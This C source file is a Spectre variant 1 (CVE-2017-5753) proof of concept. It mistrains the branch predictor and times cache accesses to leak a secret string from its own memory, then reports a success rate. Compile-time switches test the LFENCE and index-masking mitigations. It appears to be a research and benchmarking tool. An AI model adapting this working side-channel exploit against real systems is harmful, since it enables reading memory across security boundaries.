octopus/spectre_v1.c

/* spectre.c - CVE-2017-5753 user-to-user sucess rate measurement
 *
 * Borrows code from 
 *  - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
 *  - https://github.com/genua/meltdown
 *
 * Copyright (c) 2022 Samuel AUBERTIN
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */

#include "octopus.h"

char*		secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
unsigned int	cache_hit_threshold, array1_size = 16;
uint8_t		unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t		temp = 0; /* Used so compiler won’t optimize out victim_function() */

void
victim_function(size_t x)
{
	if (x < array1_size) {
		#ifdef LFENCE_MITIGATION
			/*
			 * According to Intel et al, the best way to mitigate this is to 
			 * add a serializing instruction after the boundary check to force
			 * the retirement of previous instructions before proceeding to 
			 * the read.
			 * See https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf
			 */
			_mm_lfence();
		#endif
		#ifdef MASKING_MITIGATION
			x &= array_index_mask_nospec(x, array1_size);
		#endif

		temp &= array2[array1[x] * 512];
	}
}

void
leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_threshold)
{
	static int		results[256];
	int			tries, i, j, mix_i, junk = 0;
	size_t			training_x, x;
	volatile uint8_t*	addr;

	#ifdef NOCLFLUSH
		int junk2 = 0;
		int l;
		(void)junk2;
	#endif
	for (i = 0; i < 256; i++) {
		results[i] = 0;
	}
	for (tries = 999; tries > 0; tries--) {
		#ifndef NOCLFLUSH
			/* Flush array2[256*(0..255)] from cache */
			for (i = 0; i < 256; i++)
				_mm_clflush(&array2[i * 512]);
		#else 
			/* Flush array2[256*(0..255)] from cache
			using long SSE instruction several times */
			for (j = 0; j < 16; j++) {
				for (i = 0; i < 256; i++) {
					flush_memory_sse(&array2[i * 512]);
				}
			}
		#endif
		/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
		training_x = tries % array1_size;
		for (j = 29; j >= 0; j--) {
			#ifndef NOCLFLUSH
				_mm_clflush(&array1_size);
			#else
				/* Alternative to using clflush to flush the CPU cache 
				 * Read addresses at 4096-byte intervals out of a large array.
				 * Do this around 2000 times, or more depending on CPU cache size. */
				for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {
					junk2 = cache_flush_array[l];
				}
			#endif
			for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
			/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
			/* Avoid jumps in case those tip off the branch predictor */
			x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
			x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
			x = training_x ^ (x & (malicious_x ^ training_x));
			/* Call the victim! */
			victim_function(x);
		}

		/* Time reads. Order is lightly mixed up to prevent stride prediction */
		for (i = 0; i < 256; i++) {
			mix_i = ((i * 167) + 13) & 255;
			addr = & array2[mix_i * 512];
			if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
			        results[mix_i]++; /* cache hit - add +1 to score for this value */
		}
		/* Locate highest results in j */
		j = -1;
		for (i = 0; i < 256; i++) {
			if (j < 0 || results[i] >= results[j]) {
				j = i;
			}
		}
		if (results[j] >= 3)
			break;
	}
	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
	value[0] = (uint8_t) j;
	score[0] = results[j];
}

int 
main(int argc, char** argv)
{
	size_t 		malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
	int 		i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
	uint8_t 	value[2];
	
	while ((o = getopt(argc, argv, "t:j")) != EOF) {
		switch (o) {
			case 't':
				cache_hit_threshold = atoi(optarg);
				break;
			case 'j':
				json++;
				break;
			default:
			usage:
				fprintf(stderr, "usage: %s [-j] "
				"[-t threshold]\n"
				"\t-j\t\tJSON output\n"
				"\t-t INT\t\tfixed threshold\n", argv[0]);
				return 1;
		}
	}
	if (argc != optind) {
		goto usage;
	}

	fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
	calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
	#ifdef NOCLFLUSH
		for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
			cache_flush_array[i] = 1;
		}
	#endif
	for (i = 0; i < (int)sizeof(array2); i++) {
		array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
	}
	while (--len >= 0) {
		leak(malicious_x++, value, score, cache_hit_threshold);
		if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
			successes++;
			fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
		} else {
			fprintf(stderr, "\033[31m?\033[0m");
		}
	}
	fprintf(stderr, "\n");
	if (json) {
		printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
		#ifndef NORDTSCP
			printf("\"rdtscp\": true, ");
		#else
			printf("\"rdtscp\": false, ");
		#endif
	 	#ifndef NOMFENCE
			printf("\"mfence\": true, ");
		#else
			printf("\"mfence\": false, ");
		#endif
		#ifndef NOCLFLUSH
			printf("\"clflush\": true ");
		#else
			printf("\"clflush\": false ");
		#endif
			printf("}, \"mitigations\": { ");
		#ifdef LFENCE_MITIGATION
			printf("\"lfence\": true, ");
		#else
			printf("\"lfence\": false, ");
		#endif
		#ifdef MASKING_MITIGATION
			printf("\"masking\": true ");
		#else
			printf("\"masking\": false ");
		#endif
		printf("}, ");
		printf("\"threshold\": %d, ", cache_hit_threshold);
		printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));	
	}
	fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
	#ifndef NORDTSCP
		fprintf(stderr, "RDTSCP ");
	#else
		fprintf(stderr, "RDTSC ");
	#endif
	 #ifndef NOMFENCE
		fprintf(stderr, "MFENCE ");
	#endif
	#ifndef NOCLFLUSH
		fprintf(stderr, "CLFLUSH ");
	#endif
	#ifdef LFENCE_MITIGATION
		fprintf(stderr, "LFENCE_MITIGATION ");
	#endif
	#ifdef MASKING_MITIGATION
		fprintf(stderr, "MASKING_MITIGATION ");
	#endif
	fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));

	return 0;
}